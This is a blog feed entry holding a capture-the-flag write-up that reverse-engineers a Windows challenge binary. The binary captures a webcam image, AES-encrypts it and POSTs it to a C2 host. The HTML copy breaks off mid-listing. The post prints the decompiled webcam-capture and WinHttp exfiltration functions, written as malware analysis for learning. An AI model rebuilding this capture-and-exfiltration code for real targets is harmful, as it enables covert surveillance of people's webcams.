{"version":"https://jsonfeed.org/version/1","title":"nothoudaifa","home_page_url":"https://nothoudaifa.github.io/","feed_url":"https://nothoudaifa.github.io/feed.json","description":"I talk about computer stuff.","favicon":"https://nothoudaifa.github.io//assets/favicon.ico","expired":false,"author":{"name":"nothoudaifa","url":"https://nothoudaifa.github.io/"},"items":[{"id":"d4a4387dd0cb99b938d958a488dc7ac546319126","title":"Stealerusk chall from Alpacahack B-Side writeup","summary":"","content_text":"this was a B-Side challenge released on Alpacahack, you can check it out here, it\u0026rsquo;s difficulty is Very Hard 7.0 .\nTL;DR reversing a windows malware that takes an image from the webcam and sends it to a C2 server.\nSolve we are given two files chal.exe and packet.pcap, i started by checking the pcap, it only contains a single POST request with some binary data as you can see here: now opening the executable in ida we get this decompilation of the main function: the first part gets the current directory path and compares it to another path using it\u0026rsquo;s rfid (rfid is a folder identifier in windows, you can check docs of the function to know more about it) if the comparision succeeds then it will execute the malware code.\nthe malware calls 2 functions sub_140001640 and sub_1400017B0.\nsub_140001640: __int64 sub_140001640() { HWND hWnd; // [rsp+40h] [rbp-28h] int v2; // [rsp+48h] [rbp-20h] hWnd = capCreateCaptureWindowW(L\u0026#34;capture\u0026#34;, 0, 0, 0, 640, 480, 0, 0); if ( !hWnd ) return 1; if ( IsWindow(hWnd) ) v2 = SendMessageW(hWnd, 0x40Au, 0, 0); else v2 = 0; if ( !v2 ) return 1; Sleep(0x3E8u); SendMessageW(hWnd, 0x405u, 0, (LPARAM)handler); byte_140005114 = 0; if ( SendMessageW(hWnd, 0x43Du, 0, 0) ) { Sleep(0x1F4u); if ( IsWindow(hWnd) ) SendMessageW(hWnd, 0x40Bu, 0, 0); return 0; } else { if ( IsWindow(hWnd) ) SendMessageW(hWnd, 0x40Bu, 0, 0); return 1; } } i haven\u0026rsquo;t fully reversed this function, but based on the documentation of capCreateCaptureWindowW, it creates a capture window which can be used to capture some data, it seems to configure it using SendMessageW one important thing is that it\u0026rsquo;s setting some kind of handler function handler, we will get to that later.\nsub_1400017B0: __int64 __fastcall sub_1400017B0(const void *a1, DWORD a2) { void *hRequest; // [rsp+40h] [rbp-38h] unsigned int v4; // [rsp+48h] [rbp-30h] void *hConnect; // [rsp+50h] [rbp-28h] void *hSession; // [rsp+58h] [rbp-20h] DWORD dwNumberOfBytesWritten; // [rsp+60h] [rbp-18h] BYREF v4 = 0; hConnect = 0; hRequest = 0; hSession = WinHttpOpen( L\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36\u0026#34;, 0, 0, 0, 0); if ( hSession ) { hConnect = WinHttpConnect(hSession, L\u0026#34;meccha-ayashii-server.internal\u0026#34;, 0x50u, 0); if ( hConnect ) { hRequest = WinHttpOpenRequest(hConnect, L\u0026#34;POST\u0026#34;, L\u0026#34;/waiwai\u0026#34;, 0, 0, 0, 0); if ( hRequest ) { if ( WinHttpSendRequest(hRequest, L\u0026#34;Content-Type: application/octet-stream\\r\\n\u0026#34;, 0xFFFFFFFF, 0, 0, a2, 0) ) { dwNumberOfBytesWritten = 0; if ( WinHttpWriteData(hRequest, a1, a2, \u0026amp;dwNumberOfBytesWritten) ) { if ( dwNumberOfBytesWritten == a2 ) v4 = WinHttpReceiveResponse(hRequest, 0); } } } } } if ( hRequest ) WinHttpCloseHandle(hRequest); if ( hConnect ) WinHttpCloseHandle(hConnect); if ( hSession ) WinHttpCloseHandle(hSession); return v4; } this function takes 2 global variables which are data buffer and size (which are used in the handler function too) and sends an http post request as we\u0026rsquo;ve seen in the pcap.\nhandler function: following the code of the handler function we reach sub_140001100 which is called like this:\nsub_140001100(a1, a2, (unsigned int)\u0026amp;unk_140005078, (unsigned int)\u0026amp;data_sent, (__int64)\u0026amp;data_sent_size); you can check the function decompilation here\ni guessed that a1 and a2 are data pointer and data size from their signature UCHAR *a1, ULONG a2, this function generates a random 0x10 value and uses it as iv and uses the third argument as key then it encrypts the capture data using aes-cbc, and then it puts the result in data_sent with the iv as the first 16 bytes.\ndecryption: knowing this i made the following decryption function in python:\nfrom Crypto.Cipher import AES from Crypto.Util.Padding import unpad with open(\u0026#39;./enc\u0026#39;, \u0026#39;rb\u0026#39;) as f: data = f.read() iv = data[:0x10] # iv is the first 0x10 bytes data = data[0x10:] # rest is encrypted data key = bytes.fromhex(\u0026#39;9Dh, E7h, 5Ch, 29h, B5h, 07, 38h, 71h, 0Dh, 83h, 49h,39h, 73h, FDh, EBh, 9Ch\u0026#39;.replace(\u0026#39;,\u0026#39;,\u0026#39;\u0026#39;).replace(\u0026#39;h\u0026#39;,\u0026#39;\u0026#39;).replace(\u0026#39; \u0026#39;,\u0026#39;\u0026#39;)) # the key extracted from ida print(key.hex()) cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = unpad(cipher.decrypt(data), AES.block_size) open(\u0026#39;dec\u0026#39;, \u0026#39;wb\u0026#39;).write(plaintext) running file on dec we see that it is an image:\n$ file dec dec: JPEG image data, baseline, precision 8, 1280x720, components 3 viewing it gives us the flag: ","content_html":"\u003cp\u003ethis was a B-Side challenge released on Alpacahack, you can check it out \u003ca href=\"https://alpacahack.com/daily-bside/challenges/stealerusk?month=2026-03\"\u003ehere\u003c/a\u003e, it\u0026rsquo;s difficulty is Very Hard 7.0 .\u003c/p\u003e\n\u003ch2 id=\"tldr\"\u003eTL;DR\u003c/h2\u003e\n\u003cp\u003ereversing a windows malware that takes an image from the webcam and sends it to a C2 server.\u003c/p\u003e\n\u003ch2 id=\"solve\"\u003eSolve\u003c/h2\u003e\n\u003cp\u003ewe are given two files \u003ccode\u003echal.exe\u003c/code\u003e and \u003ccode\u003epacket.pcap\u003c/code\u003e, i started by checking the pcap, it only contains a single POST request with some binary data as you can see here:\n\u003cimg\n  src=\"/alpaca-bside-stealerusk/2026-06-28%7c13:27:16.166.png\"\n  alt=\"wireshark screenshot\"\n  loading=\"lazy\"\n  decoding=\"async\"\n  class=\"full-width\"\n/\u003e\n\n\u003c/p\u003e\n\u003cp\u003enow opening the executable in ida we get this decompilation of the main function:\n\u003cimg\n  src=\"/alpaca-bside-stealerusk/2026-06-28%7c13:29:35.298.png\"\n  alt=\"ida main function screenshot\"\n  loading=\"lazy\"\n  decoding=\"async\"\n  class=\"full-width\"\n/\u003e\n\n\u003c/p\u003e\n\u003cp\u003ethe first part gets the current directory path and compares it to another path using it\u0026rsquo;s rfid (rfid is a folder identifier in windows, you can check \u003ca href=\"https://learn.microsoft.com/en-us/windows/win32/api/shlobj_core/nf-shlobj_core-shgetknownfolderpath\"\u003edocs\u003c/a\u003e of the function to know more about it) if the comparision succeeds then it will execute the malware code.\u003c/p\u003e\n\u003cp\u003ethe malware calls 2 functions \u003ccode\u003esub_140001640\u003c/code\u003e and \u003ccode\u003esub_1400017B0\u003c/code\u003e.\u003c/p\u003e\n\u003ch4 id=\"sub_140001640\"\u003esub_140001640:\u003c/h4\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003e__int64\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003esub_140001640\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003eHWND\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ehWnd\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// [rsp+40h] [rbp-28h]\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e  \u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// [rsp+48h] [rbp-20h]\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003ehWnd\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ecapCreateCaptureWindowW\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003eL\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;capture\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e640\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e480\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e!\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ehWnd\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eIsWindow\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ehWnd\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eSendMessageW\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ehWnd\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x40Au\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e!\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev2\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75af00\"\u003eSleep\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x3E8u\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75af00\"\u003eSendMessageW\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ehWnd\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x405u\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eLPARAM\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ehandler\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003ebyte_140005114\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eSendMessageW\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ehWnd\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x43Du\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003eSleep\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x1F4u\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eIsWindow\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ehWnd\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75af00\"\u003eSendMessageW\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ehWnd\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x40Bu\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eIsWindow\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ehWnd\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75af00\"\u003eSendMessageW\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ehWnd\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x40Bu\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ei haven\u0026rsquo;t fully reversed this function, but based on the documentation of \u003ca href=\"https://learn.microsoft.com/en-us/windows/win32/api/vfw/nf-vfw-capcreatecapturewindoww\"\u003ecapCreateCaptureWindowW\u003c/a\u003e, it creates a capture window which can be used to capture some data, it seems to configure it using SendMessageW one important thing is that it\u0026rsquo;s setting some kind of handler function \u003ccode\u003ehandler\u003c/code\u003e, we will get to that later.\u003c/p\u003e\n\u003ch4 id=\"sub_1400017b0\"\u003esub_1400017B0:\u003c/h4\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003e__int64\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003e__fastcall\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003esub_1400017B0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003econst\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003evoid\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ea1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eDWORD\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ea2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003evoid\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ehRequest\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// [rsp+40h] [rbp-38h]\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e  \u003cspan style=\"color:#00a8c8\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev4\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// [rsp+48h] [rbp-30h]\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e  \u003cspan style=\"color:#00a8c8\"\u003evoid\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ehConnect\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// [rsp+50h] [rbp-28h]\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e  \u003cspan style=\"color:#00a8c8\"\u003evoid\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ehSession\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// [rsp+58h] [rbp-20h]\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e  \u003cspan style=\"color:#111\"\u003eDWORD\u003c/span\u003e \u003cspan style=\"color:#111\"\u003edwNumberOfBytesWritten\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// [rsp+60h] [rbp-18h] BYREF\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003ev4\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003ehConnect\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003ehRequest\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003ehSession\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eWinHttpOpen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e               \u003cspan style=\"color:#d88200\"\u003eL\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e               \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e               \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e               \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e               \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ehSession\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ehConnect\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eWinHttpConnect\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ehSession\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003eL\u003c/span\u003e\u003cspan 